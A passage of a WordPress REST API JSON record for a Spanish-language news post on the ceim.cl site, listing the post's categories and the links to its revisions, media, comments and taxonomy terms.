de&hellip;<\/p>","protected":false},"author":22,"featured_media":32619,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,73,275,278],"tags":[],"class_list":["post-32615","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticias","category-noticias-destacadas","category-principal-home","category-red-energia","category-1","category-73","category-275","category-278","description-off"],"_links":{"self":[{"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/posts\/32615","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/users\/22"}],"replies":[{"embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/comments?post=32615"}],"version-history":[{"count":2,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/posts\/32615\/revisions"}],"predecessor-version":[{"id":46419,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/posts\/32615\/revisions\/46419"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/media\/32619"}],"wp:attachment":[{"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/media?parent=32615"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/categories?post=32615"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/tags?post=32615"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}